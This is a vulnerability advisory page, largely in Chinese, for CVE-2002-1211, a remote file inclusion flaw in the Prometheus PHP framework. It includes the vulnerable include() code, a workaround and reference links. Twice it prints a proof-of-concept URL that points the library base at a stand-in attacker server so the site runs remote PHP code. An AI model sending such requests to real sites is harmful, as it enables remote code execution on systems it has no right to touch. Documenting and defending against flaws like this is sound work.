CVE-2002-1211
CVSS7.5
发布时间 :2002-11-12 00:00:00
修订时间 :2016-10-17 22:24:47
NMCOES    

[原文]Prometheus 6.0 and earlier allows remote attackers to execute arbitrary PHP code via a modified PROMETHEUS_LIBRARY_BASE that points to code stored on a remote server, which is then used in (1) index.php, (2) install.php, or (3) various test_*.php scripts.


[CNNVD]Prometheus应用程序架构远程文件包含漏洞(CNNVD-200211-027)

        
        Prometheus是一款基于WEB的应用程序架构系统,由PHP编写。
        Prometheus中的prometheus-library/all.lib代码中对用户提交的要装载的库路径缺少正确检查,远程攻击者可以利用这个漏洞装载包含其他服务器上的文件,导致文件中的PHP代码以WEB用户权限执行。
        prometheus-library/all.lib中包含如下问题代码:
        if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) ||
        $PROMETHEUS_LIBRARY_BASE == '') {
         $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
        }
        if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
         $PHP_AUTO_LOAD_LIB = 0;
        }
        if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
         $PROMETHEUS_LIB_PATH = 0;
        }
        if ( $PHP_AUTO_LOAD_LIB == 0 ) {
         include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
        }
        if ( $PROMETHEUS_LIB_PATH == 0 ) {
         include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-
        lib.path' );
        }
        由于多个脚本(index.php,install.php,test_*.php)在包含all.lib时没有进行充分的过滤,通过设置PHP_AUTO_LOAD_LIB为"0"和PROMETHEUS_LIBRARY_BASE为攻击者控制服务器地址,攻击者可以迫使应用程序装载远程服务器上包含任意PHP代码的autoload.lib库,导致以WEB用户权限执行伪造autoload.lib库中包含的任意脚本代码。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:jason_orcutt:prometheus:6.0
cpe:/a:jason_orcutt:prometheus:3.0_beta
cpe:/a:jason_orcutt:prometheus:4.0_beta

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1211
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1211
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200211-027
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0050.html
(UNKNOWN)  VULNWATCH  20021101 iDEFENSE Security Advisory 10.31.02b: Prometheus Application Framework Code Injection
http://marc.info/?l=bugtraq&m=103616306403031&w=2
(UNKNOWN)  BUGTRAQ  20021101 iDEFENSE Security Advisory 10.31.02b: Prometheus Application Framework Code Injection
http://www.idefense.com/advisory/10.31.02b.txt
(VENDOR_ADVISORY)  MISC  http://www.idefense.com/advisory/10.31.02b.txt
http://www.iss.net/security_center/static/10515.php
(VENDOR_ADVISORY)  XF  prometheus-php-file-include(10515)
http://www.securityfocus.com/bid/6087
(UNKNOWN)  BID  6087

- 漏洞信息

Prometheus应用程序架构远程文件包含漏洞
高危 输入验证
2002-11-12 00:00:00 2005-05-13 00:00:00
远程  
        
        Prometheus是一款基于WEB的应用程序架构系统,由PHP编写。
        Prometheus中的prometheus-library/all.lib代码中对用户提交的要装载的库路径缺少正确检查,远程攻击者可以利用这个漏洞装载包含其他服务器上的文件,导致文件中的PHP代码以WEB用户权限执行。
        prometheus-library/all.lib中包含如下问题代码:
        if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) ||
        $PROMETHEUS_LIBRARY_BASE == '') {
         $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
        }
        if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
         $PHP_AUTO_LOAD_LIB = 0;
        }
        if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
         $PROMETHEUS_LIB_PATH = 0;
        }
        if ( $PHP_AUTO_LOAD_LIB == 0 ) {
         include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
        }
        if ( $PROMETHEUS_LIB_PATH == 0 ) {
         include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-
        lib.path' );
        }
        由于多个脚本(index.php,install.php,test_*.php)在包含all.lib时没有进行充分的过滤,通过设置PHP_AUTO_LOAD_LIB为"0"和PROMETHEUS_LIBRARY_BASE为攻击者控制服务器地址,攻击者可以迫使应用程序装载远程服务器上包含任意PHP代码的autoload.lib库,导致以WEB用户权限执行伪造autoload.lib库中包含的任意脚本代码。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * iDEFENSE提供如下第三方解决方案:
        先搜索文件中危险的include()调用:
        $ grep -n all.lib * -r | grep _BASE
        index.php:23:include( $PROMETHEUS_APP_BASE .
        '/prometheus-library/all.lib' );
        scripts/view_theme.php3:6:include(
        $PROMETHEUS_LIBRARY_BASE . '/all.lib' );
        然后在调用include()前增加如下代码:
        $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
        这可以防止攻击者设置PROMETHEUS_LIBRARY_BASE变量指向任意远程主机。
        厂商补丁:
        Jason Orcutt
        ------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://prometheus.zerodivide.net/

- 漏洞信息 (21976)

Jason Orcutt Prometheus 3.0/4.0/6.0 Remote File Include Vulnerability (EDBID:21976)
php webapps
2002-11-01 Verified
0 Karol Wiesek
N/A [点击下载]
source: http://www.securityfocus.com/bid/6087/info

Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter. 

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0 		

- 漏洞信息

14495
Prometheus all.lib PHP Code Execution
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown

- 漏洞描述

- 时间线

2002-10-31 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Jason Orcutt Prometheus Remote File Include Vulnerability
Input Validation Error 6087
Yes No
2002-11-01 12:00:00 2009-07-11 06:06:00
Discovery of this vulnerability is credited to Karol Wiesek <appelast@bsquad.sm.pl>.

- 受影响的程序版本

Jason Orcutt Prometheus 6.0
Jason Orcutt Prometheus 4.0 -beta
Jason Orcutt Prometheus 3.0 -beta

- 漏洞讨论

Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter.

- 漏洞利用

The following proof of concept was provided:

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&amp;PHP_AUTO_LOAD_LIB=0

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站